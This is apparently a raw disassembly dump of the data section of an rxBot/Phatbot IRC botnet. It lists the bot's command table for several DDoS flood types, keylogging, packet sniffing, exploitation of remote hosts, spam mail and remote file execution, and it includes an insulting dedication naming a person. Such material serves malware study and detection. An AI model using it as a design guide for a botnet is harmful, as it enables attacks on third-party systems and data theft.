3 aMessageHasBeen db '- Message has been sent successfuly',0 align 10h unk_42A790 db 2Dh ; - ; DATA XREF: sub_401ACD+5647o db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 73h db 65h ; e db 6Eh, 64h, 2 db 3 aFailedToSendMe db '- Failed to send message, error <%i>.',0 align 4 unk_42A7C4 db 2Dh ; - ; DATA XREF: sub_401ACD+5623o db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 73h db 65h ; e db 6Eh, 64h, 2 db 3 aNetsendDoesNot db '- NetSend does not work on Win9x systems',0 align 4 unk_42A7FC db 2Dh ; - ; DATA XREF: sub_401ACD+5581o db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 73h db 65h ; e db 6Eh, 64h, 2 db 3 aSendingMessage db '- Sending message %s times to %s using name %s',0 aIcmp_dllNotAva db 'ICMP.dll not available',0 ; DATA XREF: sub_401ACD+5564o align 10h unk_42A850 db 2Dh ; - ; DATA XREF: sub_401ACD+554Fo db 3, 34h, 2 db 70h ; p db 69h, 6Eh, 67h db 2 db 3, 2Dh, 20h aFailedToSta_12 db 'Failed to start flood thread, error: <%d>.',0 align 4 unk_42A888 db 2Dh ; - ; DATA XREF: sub_401ACD+54E0o db 3, 34h, 2 db 70h ; p db 69h, 6Eh, 67h db 2 db 3, 2Dh, 20h aSendingDPingsT db 'Sending %d pings to %s. packet size: %d, timeout: %d(ms).',0 align 10h unk_42A8D0 db 2Dh ; - ; DATA XREF: sub_401ACD:loc_406EFFo db 3, 34h, 2 db 74h ; t db 63h, 70h, 2 db 3 aInvalidFlood_0 db '- Invalid flood time must be greater than 0.',0 align 4 unk_42A908 db 2Dh ; - ; DATA XREF: sub_401ACD+5428o db 3, 34h, 2 db 74h ; t db 63h, 70h, 2 db 3 aFailedToSta_13 db '- Failed to start flood thread, error: <%d>.',0 align 10h unk_42A940 db 2Dh ; - ; DATA XREF: sub_401ACD+53AEo db 3, 34h, 2 db 74h ; t db 63h, 70h, 2 db 3 aSSFloodingSSFo db '- %s %s flooding: (%s:%s) for %s seconds.',0 align 4 aNormal db 'Normal',0 ; DATA XREF: sub_401ACD+539Eo align 4 aSpoofed db 'Spoofed',0 ; DATA XREF: sub_401ACD+5397o unk_42A984 db 2Dh ; - ; DATA XREF: sub_401ACD+52FCo db 3, 34h, 2 db 74h ; t db 63h, 70h, 2 db 3 aInvalidFloodTy db '- Invalid flood type specified.',0 align 10h aRandom_0 db 'random',0 ; DATA XREF: sub_401ACD+52ECo align 4 aAck db 'ack',0 ; DATA XREF: sub_401ACD+52D5o aHcon db 'hcon',0 ; DATA XREF: sub_401ACD+525Fo align 4 aHttpcon db 'httpcon',0 ; DATA XREF: sub_401ACD+524Co unk_42A9CC db 2Dh ; - ; DATA XREF: sub_401ACD+51FDo db 3, 34h, 2 db 65h ; e db 6Dh, 61h, 69h db 6Ch ; l db 2, 3, 2Dh aMessageSentToS db ' Message sent to %s.',0 align 10h aHeloRndnickMai db 'helo $rndnick',0Ah ; DATA XREF: sub_401ACD+5189o db 'mail from: <%s>',0Ah db 'rcpt to: <%s>',0Ah db 'data',0Ah db 'subject: %s',0Ah db 'from: %s',0Ah db '%s',0Ah db '.',0Ah,0 aEmail db 'email',0 ; DATA XREF: sub_401ACD+509Eo align 4 aTcp db 'tcp',0 ; DATA XREF: sub_401ACD+5087o aTcpflood db 'tcpflood',0 ; DATA XREF: sub_401ACD+5070o align 4 aP: ; DATA XREF: sub_401ACD+5059o unicode 0, <p>,0 aPing_0 db 'ping',0 ; DATA XREF: sub_401ACD+5042o align 10h aPingflood db 'pingflood',0 ; DATA XREF: sub_401ACD+502Bo align 4 aNs db 'ns',0 ; DATA XREF: sub_401ACD+5014o align 10h aNetsend db 'netsend',0 ; DATA XREF: sub_401ACD+4FFDo aU: ; DATA XREF: sub_401ACD+4FE6o ; ___:00437F88o unicode 0, <u>,0 aUdp db 'udp',0 ; DATA XREF: sub_401ACD+4FCFo aUdpflood db 'udpflood',0 ; DATA XREF: sub_401ACD+4FB8o align 4 aAdvscan db 'advscan',0 ; DATA XREF: sub_401ACD+4F8Ao aPsc db 'psc',0 ; DATA XREF: sub_401ACD+4F73o aPortscan db 'portscan',0 ; DATA XREF: sub_401ACD+4F5Co align 4 aC_a db 'c_a',0 ; DATA XREF: sub_401ACD+4F36o aC_action db 'c_action',0 ; DATA XREF: sub_401ACD+4F1Fo align 4 aC_pm db 'c_pm',0 ; DATA XREF: sub_401ACD+4F08o align 4 aC_privmsg db 'c_privmsg',0 ; DATA XREF: sub_401ACD+4EF1o align 4 aSc db 'sc',0 ; DATA XREF: sub_401ACD+4EDAo align 4 aScan db 'scan',0 ; DATA XREF: sub_401ACD+4EC3o align 4 aRd db 'rd',0 ; DATA XREF: sub_401ACD+4EACo align 4 aRedirect db 'redirect',0 ; DATA XREF: sub_401ACD+4E95o align 4 aJpl10 db 'jpl10',0 ; DATA XREF: sub_401ACD+4E7Eo align 4 aJpldg10 db 'jpldg10',0 ; DATA XREF: sub_401ACD+4E67o aWonk db 'wonk',0 ; DATA XREF: sub_401ACD+4E50o align 4 aPhatwonk db 'phatwonk',0 ; DATA XREF: sub_401ACD+4E39o align 4 dword_42AB08 dd 234032Dh, 73796B73h, 3026E79h ; DATA XREF: sub_401ACD+4E2Co aFailedToSta_14 db '- Failed to start flood thread, error: <%d>.',0 align 4 dword_42AB44 dd 234032Dh, 73796B73h, 3026E79h ; DATA XREF: sub_401ACD+4DBDo aFloodingSSFo_1 db '- Flooding: (%s:%s) for %s seconds.',0 aSkysyn db 'skysyn',0 ; DATA XREF: sub_401ACD+4D3Ao align 4 aSyn db 'syn',0 ; DATA XREF: sub_401ACD+4D23o ; sub_401ACD+52BDo aSynflood db 'synflood',0 ; DATA XREF: sub_401ACD+4D0Co align 4 unk_42AB8C db 2Dh ; - ; DATA XREF: sub_401ACD+4CFFo db 3, 34h, 2 db 77h ; w db 69h, 73h, 64h db 6Fh ; o db 6Dh, 28h, 75h db 64h ; d db 70h, 29h, 2 db 3 aFailedToSta_15 db '- Failed to start flood thread, error: <%d>.',0 align 4 aWisdom_udp db 'wisdom.udp',0 ; DATA XREF: sub_401ACD+4C28o align 4 aDdos_random db 'ddos.random',0 ; DATA XREF: sub_401ACD+4C11o ; sub_412B08:loc_412C34o aDdos_ack db 'ddos.ack',0 ; DATA XREF: sub_401ACD+4BFAo ; sub_412B08:loc_412C18o align 10h aDdos_syn db 'ddos.syn',0 ; DATA XREF: sub_401ACD+4BE3o ; sub_412B08+F1o align 4 aC: ; DATA XREF: sub_401ACD+4BCCo ; ___:00437C40o ... unicode 0, <c>,0 aClone_0 db 'clone',0 ; DATA XREF: sub_401ACD+4BB5o align 4 aIcmp db 'icmp',0 ; DATA XREF: sub_401ACD+4B8Co align 10h aIcmpflood db 'icmpflood',0 ; DATA XREF: sub_401ACD+4B75o align 4 aMv db 'mv',0 ; DATA XREF: sub_401ACD+4B5Eo align 10h aRename db 'rename',0 ; DATA XREF: sub_401ACD+4B47o align 4 aFf db 'ff',0 ; DATA XREF: sub_401ACD+4B30o align 4 aFindfile db 'findfile',0 ; DATA XREF: sub_401ACD+4B19o align 4 aE: ; DATA XREF: sub_401ACD+4B02o unicode 0, <e>,0 aExecute db 'execute',0 ; DATA XREF: sub_401ACD+4AEBo aJp10 db 'jp]10',0 ; DATA XREF: sub_401ACD+4AD4o align 4 aJpDe100 db 'jp]de100',0 ; DATA XREF: sub_401ACD+4ABDo align 4 aDe db 'de',0 ; DATA XREF: sub_401ACD+4AA6o align 4 aDelay db 'delay',0 ; DATA XREF: sub_401ACD+4A8Fo align 4 aRp db 'rp',0 ; DATA XREF: sub_401ACD+4A78o align 4 aRepeat db 'repeat',0 ; DATA XREF: sub_401ACD+4A61o ; sub_401ACD+6BE7o align 10h aTsn db 'tsn',0 ; DATA XREF: sub_401ACD+4A4Ao aTsunami db 'tsunami',0 ; DATA XREF: sub_401ACD+4A33o aT3 db 't3',0 ; DATA XREF: sub_401ACD+4A1Co align 10h aTarga3 db 'targa3',0 ; DATA XREF: sub_401ACD+4A05o align 4 aC_p db 'c_p',0 ; DATA XREF: sub_401ACD+49EEo aC_part db 'c_part',0 ; DATA XREF: sub_401ACD+49D7o align 4 aC_j db 'c_j',0 ; DATA XREF: sub_401ACD+49C0o aC_join db 'c_join',0 ; DATA XREF: sub_401ACD+49A9o align 10h aC_n db 'c_n',0 ; DATA XREF: sub_401ACD+4992o aC_nick db 'c_nick',0 ; DATA XREF: sub_401ACD+497Bo align 4 aC_m db 'c_m',0 ; DATA XREF: sub_401ACD+4964o aC_mode db 'c_mode',0 ; DATA XREF: sub_401ACD+494Do align 4 aC_r db 'c_r',0 ; DATA XREF: sub_401ACD+4936o aC_raw db 'c_raw',0 ; DATA XREF: sub_401ACD+491Fo align 4 aM: ; DATA XREF: sub_401ACD+4908o ; ___:00437C50o unicode 0, <m>,0 aCy db 'cy',0 ; DATA XREF: sub_401ACD+48DAo align 4 aCycle db 'cycle',0 ; DATA XREF: sub_401ACD+48C3o align 4 aA: ; DATA XREF: sub_401ACD+48ACo unicode 0, <a>,0 aAction db 'action',0 ; DATA XREF: sub_401ACD+4895o align 10h aPrivmsg_0 db 'privmsg',0 ; DATA XREF: sub_401ACD+4867o aAa db 'aa',0 ; DATA XREF: sub_401ACD+4850o align 4 aAddalias db 'addalias',0 ; DATA XREF: sub_401ACD+4839o align 4 aKl db 'kl',0 ; DATA XREF: sub_401ACD+4822o align 4 aKilllog db 'killlog',0 ; DATA XREF: sub_401ACD+480Bo aGh db 'gh',0 ; DATA XREF: sub_401ACD+47E2o align 4 aGethost db 'gethost',0 ; DATA XREF: sub_401ACD+47CDo aCap db 'cap',0 ; DATA XREF: sub_401ACD+47B8o aCapture db 'capture',0 ; DATA XREF: sub_401ACD+47A3o unk_42AD1C db 2Dh ; - ; DATA XREF: sub_401ACD:loc_406265o db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 2 db 3 aCommandUnknown db '- Command unknown.',0 unk_42AD38 db 2Dh ; - ; DATA XREF: sub_401ACD:loc_40625Bo db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 2 db 3 aNoMessageSpeci db '- No message specified.',0 align 4 aSend db 'send',0 ; DATA XREF: sub_401ACD+475Eo ; sub_409B12+5F0o align 4 unk_42AD64 db 2Dh ; - ; DATA XREF: sub_401ACD:loc_40621Eo db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 2 db 3 aUserListFailed db '- User list failed.',0 align 4 unk_42AD84 db 2Dh ; - ; DATA XREF: sub_401ACD+4747o db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 2 db 3 aUserListComple db '- User list completed.',0 aUser db 'user',0 ; DATA XREF: sub_401ACD+46D3o align 4 unk_42ADAC db 2Dh ; - ; DATA XREF: sub_401ACD:loc_406193o db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 2 db 3 aShareListFaile db '- Share list failed.',0 align 4 unk_42ADCC db 2Dh ; - ; DATA XREF: sub_401ACD+46BCo db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 2 db 3 aShareListCompl db '- Share list completed.',0 align 10h aShare db 'share',0 ; DATA XREF: sub_401ACD+466Eo align 4 aContinue db 'continue',0 ; DATA XREF: sub_401ACD+462Ao align 4 aPause db 'pause',0 ; DATA XREF: sub_401ACD+4610o align 4 aStop db 'stop',0 ; DATA XREF: sub_401ACD+45F6o align 4 unk_42AE14 db 2Dh ; - ; DATA XREF: sub_401ACD:loc_4060B6o db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 2 db 3 aServiceListFai db '- Service list failed.',0 unk_42AE34 db 2Dh ; - ; DATA XREF: sub_401ACD+45DFo db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 2 db 3 aServiceListCom db '- Service list completed.',0 align 4 aStart db 'start',0 ; DATA XREF: sub_401ACD+45A9o align 10h unk_42AE60 db 2Dh ; - ; DATA XREF: sub_401ACD+4577o db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 2 db 3 aFailedToLoadAd db '- Failed to load advapi32.dll or netapi32.dll.',0 aNet db 'net',0 ; DATA XREF: sub_401ACD+4553o dword_42AE9C dd 234032Dh, 6C79656Bh, 302676Fh ; DATA XREF: sub_401ACD+4548o aFailedToStartL db '- Failed to start logging thread, error: <%d>.',0 align 4 dword_42AED8 dd 234032Dh, 6C79656Bh, 302676Fh ; DATA XREF: sub_401ACD+44D9o aKeyLoggerActiv db '- Key logger active.',0 align 4 dword_42AEFC dd 234032Dh, 6C79656Bh, 302676Fh ; DATA XREF: sub_401ACD+4457o aAlreadyRunning db '- Already running.',0 align 4 dword_42AF1C dd 234032Dh, 6C79656Bh, 302676Fh ; DATA XREF: sub_401ACD:loc_405F0Eo aNoKeyLoggerThr db '- No key logger thread found.',0 align 4 dword_42AF48 dd 234032Dh, 6C79656Bh, 302676Fh ; DATA XREF: sub_401ACD+4437o aKeyLoggerStopp db '- Key logger stopped. (%d thread(s) stopped.)',0 align 4 aFile db 'file',0 ; DATA XREF: sub_401ACD+43F8o align 4 aKeylog db 'keylog',0 ; DATA XREF: sub_401ACD+43D6o align 4 dword_42AF94 dd 234032Dh, 6E656469h, 3026474h ; DATA XREF: sub_401ACD:loc_405E98o aNoThreadFound_ db '- No thread found.',0 align 4 dword_42AFB4 dd 234032Dh, 6E656469h, 3026474h ; DATA XREF: sub_401ACD+43C1o aServerStopped_ db '- Server stopped. (%d thread(s) stopped.)',0 align 4 dword_42AFEC dd 234032Dh, 6E656469h, 3026474h ; DATA XREF: sub_401ACD+4391o aFailedToSta_16 db '- Failed to start server, error: <%d>.',0 align 10h dword_42B020 dd 234032Dh, 6E656469h, 3026474h ; DATA XREF: sub_401ACD+4344o aServerRunnin_0 db '- Server running on Port: 113.',0 align 4 dword_42B04C dd 234032Dh, 6E656469h, 3026474h ; DATA XREF: sub_401ACD+4334o aAlreadyRunni_0 db '- Already running.',0 align 4 aIdent db 'ident',0 ; DATA XREF: sub_401ACD+4301o align 4 unk_42B074 db 2Dh ; - ; DATA XREF: sub_401ACD:loc_405DC3o db 3, 34h, 2 db 73h ; s db 6Eh, 69h, 66h db 66h ; f db 65h, 72h, 2 db 3 aNoPhatbotSniff db '- No Phatbot sniffer thread found.',0 unk_42B0A4 db 2Dh ; - ; DATA XREF: sub_401ACD+42ECo db 3, 34h, 2 db 73h ; s db 6Eh, 69h, 66h db 66h ; f db 65h, 72h, 2 db 3 aPhatbotSniffer db '- Phatbot sniffer stopped. (%d thread(s) stopped.)',0 unk_42B0E4 db 2Dh ; - ; DATA XREF: sub_401ACD+42BCo db 3, 34h, 2 db 73h ; s db 6Eh, 69h, 66h db 66h ; f db 65h, 72h, 2 db 3 aFailedToSta_17 db '- Failed to start sniffer thread, error: <%d>.',0 unk_42B120 db 2Dh ; - ; DATA XREF: sub_401ACD+424Do db 3, 34h, 2 db 73h ; s db 6Eh, 69h, 66h db 66h ; f db 65h, 72h, 2 db 3 aPhatbotPacketS db '- Phatbot packet sniffer active.',0 align 10h unk_42B150 db 2Dh ; - ; DATA XREF: sub_401ACD+41E6o db 3, 34h, 2 db 73h ; s db 6Eh, 69h, 66h db 66h ; f db 65h, 72h, 2 db 3 aAlreadyRunni_1 db '- Already running.',0 aSniffer db 'sniffer',0 ; DATA XREF: sub_401ACD+41AFo dword_42B178 dd 234032Dh, 696E7370h, 3026666h ; DATA XREF: sub_401ACD:loc_405C71o aNoCarnivoreThr db '- No Carnivore thread found.',0 align 4 dword_42B1A4 dd 234032Dh, 696E7370h, 3026666h ; DATA XREF: sub_401ACD+419Ao aCarnivoreStopp db '- Carnivore stopped. (%d thread(s) stopped.)',0 align 10h dword_42B1E0 dd 234032Dh, 696E7370h, 3026666h ; DATA XREF: sub_401ACD+416Ao aFailedToSta_18 db '- Failed to start sniffer thread, error: <%d>.',0 align 4 dword_42B21C dd 234032Dh, 696E7370h, 3026666h ; DATA XREF: sub_401ACD+40FBo aCarnivorePacke db '- Carnivore packet sniffer active.',0 align 4 dword_42B24C dd 234032Dh, 696E7370h, 3026666h ; DATA XREF: sub_401ACD+4094o aAlreadyRunni_2 db '- Already running.',0 align 4 aOn db 'on',0 ; DATA XREF: sub_401ACD+4074o ; sub_401ACD+41C6o ... align 10h aPsniff db 'psniff',0 ; DATA XREF: sub_401ACD+405Do align 4 aRf db 'rf',0 ; DATA XREF: sub_401ACD+4048o align 4 aReadfile db 'readfile',0 ; DATA XREF: sub_401ACD+4033o align 4 aCm db 'cm',0 ; DATA XREF: sub_401ACD+401Eo align 4 aCmd db 'cmd',0 ; DATA XREF: sub_401ACD+4009o aMirc db 'mirc',0 ; DATA XREF: sub_401ACD+3FF4o align 4 aMirccmd db 'mirccmd',0 ; DATA XREF: sub_401ACD+3FDFo aV: ; DATA XREF: sub_401ACD+3FCAo ; ___:00437C44o ... unicode 0, <v>,0 aVisit db 'visit',0 ; DATA XREF: sub_401ACD+3FB5o align 4 aLi db 'li',0 ; DATA XREF: sub_401ACD+3FA0o align 10h aList db 'list',0 ; DATA XREF: sub_401ACD+3F8Bo align 4 aGt db 'gt',0 ; DATA XREF: sub_401ACD+3F76o align 4 aDel db 'del',0 ; DATA XREF: sub_401ACD+3F4Co aDelete db 'delete',0 ; DATA XREF: sub_401ACD+3F37o ; sub_401ACD+4644o align 4 aKi db 'ki',0 ; DATA XREF: sub_401ACD+3F22o align 4 aKill db 'kill',0 ; DATA XREF: sub_401ACD+3F0Do align 4 aKp db 'kp',0 ; DATA XREF: sub_401ACD+3EF8o align 4 aKillproc db 'killproc',0 ; DATA XREF: sub_401ACD+3EE3o align 4 aDn db 'dn',0 ; DATA XREF: sub_401ACD+3ECEo align 4 aDns db 'dns',0 ; DATA XREF: sub_401ACD+3EB9o aSe db 'se',0 ; DATA XREF: sub_401ACD+3EA4o align 10h aServer db 'server',0 ; DATA XREF: sub_401ACD+3E8Fo align 4 aO: ; DATA XREF: sub_401ACD+3E7Ao unicode 0, <o>,0 aOpen db 'open',0 ; DATA XREF: sub_401ACD+3E65o ; sub_401ACD+590Bo ... align 4 aPr db 'pr',0 ; DATA XREF: sub_401ACD+3E50o align 4 aPrefix db 'prefix',0 ; DATA XREF: sub_401ACD+3E3Bo align 10h aC_rn db 'c_rn',0 ; DATA XREF: sub_401ACD+3E26o align 4 aC_rndnick db 'c_rndnick',0 ; DATA XREF: sub_401ACD+3E11o align 4 aC_q db 'c_q',0 ; DATA XREF: sub_401ACD+3DFCo aC_quit db 'c_quit',0 ; DATA XREF: sub_401ACD+3DE7o align 10h aKillthread db 'killthread',0 ; DATA XREF: sub_401ACD+3DBDo align 4 aRaw db 'raw',0 ; DATA XREF: sub_401ACD+3D93o aPt db 'pt',0 ; DATA XREF: sub_401ACD+3D7Eo align 4 aJ: ; DATA XREF: sub_401ACD+3D54o ; ___:00437C2Co unicode 0, <j>,0 aN: ; DATA XREF: sub_401ACD+3D2Ao ; ___:00437C4Co unicode 0, <n>,0 unk_42B34C db 2Dh ; - ; DATA XREF: sub_401ACD+3CF6o db 3, 34h, 2 db 69h ; i db 72h, 63h, 66h db 75h ; u db 63h, 6Bh, 2 db 3 aDisconnectingC db '- disconnecting clones...',0 align 4 aNickservRegist db 'nickserv register %s %s',0 ; DATA XREF: sub_401ACD+3C92o aRegister db 'register',0 ; DATA XREF: sub_401ACD+3C69o align 4 aPrivmsgSS_0 db 'PRIVMSG %s :%s',0 ; DATA XREF: sub_401ACD+3C10o align 4 aMix db 'mix',0 ; DATA XREF: sub_401ACD+3B43o dword_42B3AC dd 56495250h, 2047534Dh, 3A207325h, 6E696601h, 1726567h ; DATA XREF: sub_401ACD+3AEFo ; sub_401ACD+3B26o dd 0 dword_42B3C4 dd 56495250h, 2047534Dh, 3A207325h, 72657601h, 6E6F6973h ; DATA XREF: sub_401ACD+3AB8o dd 1 dword_42B3DC dd 56495250h, 2047534Dh, 3A207325h, 6E697001h, 167h ; DATA XREF: sub_401ACD+3A81o ; sub_401ACD+3B98o aCtcp db 'ctcp',0 ; DATA XREF: sub_401ACD+3A2Co align 4 aNoticeSS_0 db 'NOTICE %s :%s',0 ; DATA XREF: sub_401ACD+3997o ; sub_401ACD+39D3o ... align 4 aNotice_0 db 'notice',0 ; DATA XREF: sub_401ACD+393Do align 10h aMsg db 'msg',0 ; DATA XREF: sub_401ACD+384Eo aChgnick db 'chgnick',0 ; DATA XREF: sub_401ACD+3807o aNick_0 db 'nick',0 ; DATA XREF: sub_401ACD+3705o ; sub_401ACD+3D15o align 4 dword_42B424 dd 56495250h, 2047534Dh, 3A207325h, 43434401h, 4E455320h ; DATA XREF: sub_401ACD+36E8o dd 64252044h, 2064252Eh, 25206425h, 64252064h, 1 dword_42B44C dd 636364h ; DATA XREF: sub_401ACD+366Bo dword_42B450 dd 6E696F6Ah, 7261702Fh, 74h ; DATA XREF: sub_401ACD+351Eo dword_42B45C dd 4B43494Eh, 732520h ; DATA XREF: sub_401ACD+3501o ; sub_401ACD+3762o ... dword_42B464 dd 69257325h, 0 ; DATA XREF: sub_401ACD+34E6o ; sub_40ACB5+4Fo ... aPnick db 'pnick',0 ; DATA XREF: sub_401ACD+34A5o align 4 aPartSS db 'part %s %s',0 ; DATA XREF: sub_401ACD+3488o ; sub_401ACD+3578o ... align 10h aPartflood db 'partflood',0 ; DATA XREF: sub_401ACD+3461o align 4 aPartS db 'part %s',0 ; DATA XREF: sub_401ACD+3444o aPart_0 db 'part',0 ; DATA XREF: sub_401ACD+3422o ; sub_401ACD+3D69o align 4 aJoinS db 'join %s',0 ; DATA XREF: sub_401ACD+3405o ; sub_401ACD+354Co ... aJoin db 'join',0 ; DATA XREF: sub_401ACD+33E3o ; sub_401ACD+3D3Fo align 4 aModeSS db 'mode %s %s',0 ; DATA XREF: sub_401ACD+33C6o align 4 aMode db 'mode',0 ; DATA XREF: sub_401ACD+3377o ; sub_401ACD+48F1o align 10h aNoticeSS_1 db 'notice %s :%s',0 ; DATA XREF: sub_401ACD+335Ao align 10h aNt db 'nt',0 ; DATA XREF: sub_401ACD+330Bo align 4 dword_42B4D4 dd 76697270h, 2067736Dh, 3A207325h, 1732501h, 0 ; DATA XREF: sub_401ACD+32EEo dword_42B4E8 dd 7463h ; DATA XREF: sub_401ACD+329Fo dword_42B4EC dd 76697270h, 2067736Dh, 3A207325h, 7325h ; DATA XREF: sub_401ACD+3282o ; sub_401ACD+38A8o ... dword_42B4FC dd 5Fh ; DATA XREF: sub_401ACD+3253o ; sub_401ACD+32BFo ... dword_42B500 dd 6D70h ; DATA XREF: sub_401ACD+3233o ; sub_401ACD+487Eo unk_42B504 db 2Dh ; - ; DATA XREF: sub_401ACD+3201o db 3, 34h, 2 db 69h ; i db 72h, 63h, 66h db 75h ; u db 63h, 6Bh, 2 db 3 aSClonesLoadedT db '- %s clones loaded to %s:%s',0 align 10h aLoad db 'load',0 ; DATA XREF: sub_401ACD+31AAo align 4 aFlood db 'flood',0 ; DATA XREF: sub_401ACD+3181o align 10h aRinms db 'rinms',0 ; DATA XREF: sub_401ACD+316Ao align 4 aReconnect_in_m db 'reconnect.in.ms',0 ; DATA XREF: sub_401ACD+3155o aRin db 'rin',0 ; DATA XREF: sub_401ACD+3140o aReconnect_in db 'reconnect.in',0 ; DATA XREF: sub_401ACD+312Bo align 4 unk_42B56C db 2Dh ; - ; DATA XREF: sub_401ACD+3120o db 3, 34h, 2 db 65h ; e db 78h, 70h, 6Ch db 6Fh ; o db 69h, 74h, 2 db 3 aFailedToStartE db '- Failed to start exploiter thread, error: <%d>.',0 align 4 unk_42B5AC db 2Dh ; - ; DATA XREF: sub_401ACD+30AEo db 3, 34h, 2 db 65h ; e db 78h, 70h, 6Ch db 6Fh ; o db 69h, 74h, 2 db 3 aAttemptingToCo db '- attempting to compromise %s...',0 align 4 aExploit db 'exploit',0 ; DATA XREF: sub_401ACD+3028o unk_42B5E4 db 2Dh ; - ; DATA XREF: sub_401ACD+300Eo db 3, 34h, 2 db 77h ; w db 69h, 73h, 64h db 6Fh ; o db 6Dh, 28h, 73h db 70h ; p db 2 dup(6Fh), 66h db 29h ; ) db 2, 3, 2Dh aSpoofIpSetToS_ db ' Spoof IP set to ',27h,'%s',27h,'.',0 align 10h unk_42B610 db 2Dh ; - ; DATA XREF: sub_401ACD+2FF0o db 3, 34h, 2 db 77h ; w db 69h, 73h, 64h db 6Fh ; o db 6Dh, 28h, 73h db 70h ; p db 2 dup(6Fh), 66h db 29h ; ) db 2, 3, 2Dh aSIsAnInvalidIp db ' ',27h,'%s',27h,' is an invalid IP address.',0 aD_D_D_ db '%d.%d.%d.*',0 ; DATA XREF: sub_401ACD+2FCCo align 10h unk_42B650 db 2Dh ; - ; DATA XREF: sub_401ACD:loc_404A40o db 3, 34h, 2 db 77h ; w db 69h, 73h, 64h db 6Fh ; o db 6Dh, 28h, 73h db 70h ; p db 2 dup(6Fh), 66h db 29h ; ) db 2, 3, 2Dh aSpoofingCurren db ' Spoofing currently set to ',27h,'%s',27h,'.',0 align 4 aGet db 'get',0 ; DATA XREF: sub_401ACD:loc_404A22o ; sub_401ACD+3F61o unk_42B68C db 2Dh ; - ; DATA XREF: sub_401ACD+2EDAo db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aInvalidLoginSl db 'Invalid login slot number: %d.',0 align 4 unk_42B6B8 db 2Dh ; - ; DATA XREF: sub_401ACD+2ED2o db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aNoUserLoggedIn db 'No user logged in at slot: %d.',0 align 4 dword_42B6E4 dd 234032Dh, 6E69616Dh, 202D0302h, 7325h ; DATA XREF: sub_401ACD+2E7Do unk_42B6F4 db 2Dh ; - ; DATA XREF: sub_401ACD:loc_40493Bo db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aThisModOfRxbot db 'This mod of rxBot is dedicated to Pia Gerhardt (nameless@efnet/ir' db 'cnet), the Beautiful Operatress from Heaven (or Bitch Operatress ' db 'from Hell?) who I love so much.',0 align 4 dword_42B7A4 dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_401ACD+2E4Bo aFailedToSta_19 db '- Failed to start secure thread, error: <%d>.',0 align 10h dword_42B7E0 dd 234032Dh, 75636573h, 3026572h, 7325202Dh, 73797320h ; DATA XREF: sub_401ACD+2DD1o dd 2E6D6574h, 0 aUnsecuring db 'Unsecuring',0 ; DATA XREF: sub_401ACD+2DCBo align 4 aSecuring db 'Securing',0 ; DATA XREF: sub_401ACD+2DC4o align 4 unk_42B814 db 2Dh ; - ; DATA XREF: sub_401ACD+2D4Do db 3, 34h, 2 db 62h ; b db 69h, 6Eh, 64h db 73h ; s db 68h, 65h, 6Ch db 6Ch ; l db 2, 3, 2Dh aFailedToSta_20 db ' Failed to start server thread, error: <%d>.',0 align 4 unk_42B854 db 2Dh ; - ; DATA XREF: sub_401ACD+2CC9o db 3, 34h, 2 db 62h ; b db 69h, 6Eh, 64h db 73h ; s db 68h, 65h, 6Ch db 6Ch ; l db 2, 3, 2Dh aServerStartedO db ' Server started on: %s:%d.',0 align 10h dword_42B880 dd 234032Dh, 6B636F73h, 3023473h ; DATA XREF: sub_401ACD+2C47o aFailedToSta_21 db '- Failed to start server thread, error: <%d>.',0 align 4 dword_42B8BC dd 234032Dh, 6B636F73h, 3023473h ; DATA XREF: sub_401ACD+2BD8o aServerStarte_0 db '- Server started on: %s:%d.',0 dword_42B8E4 dd 234032Dh, 646E6966h, 656C6966h, 2D0302h ; DATA XREF: sub_401ACD+2B25o dword_42B8F4 dd 646E6946h, 6C696620h, 65h ; DATA XREF: sub_401ACD+2B20o dword_42B900 dd 234032Dh, 636F7270h, 2D030273h, 0 ; DATA XREF: sub_401ACD+2B0Do dword_42B910 dd 636F7250h, 20737365h, 7473696Ch, 0 ; DATA XREF: sub_401ACD+2B08o dword_42B920 dd 234032Dh, 6E69616Dh, 202D0302h, 6F636552h, 63656E6Eh ; DATA XREF: sub_401ACD+2A95o dd 676E6974h, 2Eh aQuitReconnecti db 'QUIT :reconnecting',0Dh,0Ah,0 ; DATA XREF: sub_401ACD:loc_404555o ; sub_401ACD:loc_409778o ... align 4 dword_42B954 dd 234032Dh, 6E69616Dh, 202D0302h, 63736944h, 656E6E6Fh ; DATA XREF: sub_401ACD+2A73o dd 6E697463h, 2E67h aQuitDisconnect db 'QUIT :disconnecting',0Dh,0Ah,0 ; DATA XREF: sub_401ACD:loc_404533o align 4 aQuitLater db 'QUIT :later',0Dh,0Ah,0 ; DATA XREF: sub_401ACD:loc_40451Do ; sub_401ACD+7A7Eo align 4 aQuitS db 'QUIT :%s',0Dh,0Ah,0 ; DATA XREF: sub_401ACD+2A3Eo align 4 unk_42B9A4 db 2Dh ; - ; DATA XREF: sub_401ACD+2A17o db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aStatusReady_Bo db 'Status: Ready. Bot Uptime: %s.',0 align 10h dword_42B9D0 dd 234032Dh, 6E69616Dh, 202D0302h, 20746F42h, 203A4449h ; DATA XREF: sub_401ACD+29D8o dd 2E7325h unk_42B9E8 db 2Dh ; - ; DATA XREF: sub_401ACD+29C9o db 3, 34h, 2 db 74h ; t db 68h, 72h, 65h db 61h ; a db 64h, 73h, 2 db 3 aFailedToSta_22 db '- Failed to start list thread, error: <%d>.',0 align 4 dword_42BA24 dd 234032Dh, 65726874h, 2736461h, 4C202D03h, 20747369h ; DATA XREF: sub_401ACD+295Ao dd 65726874h, 2E736461h, 0 dword_42BA44 dd 627573h ; DATA XREF: sub_401ACD+2934o dword_42BA48 dd 234032Dh, 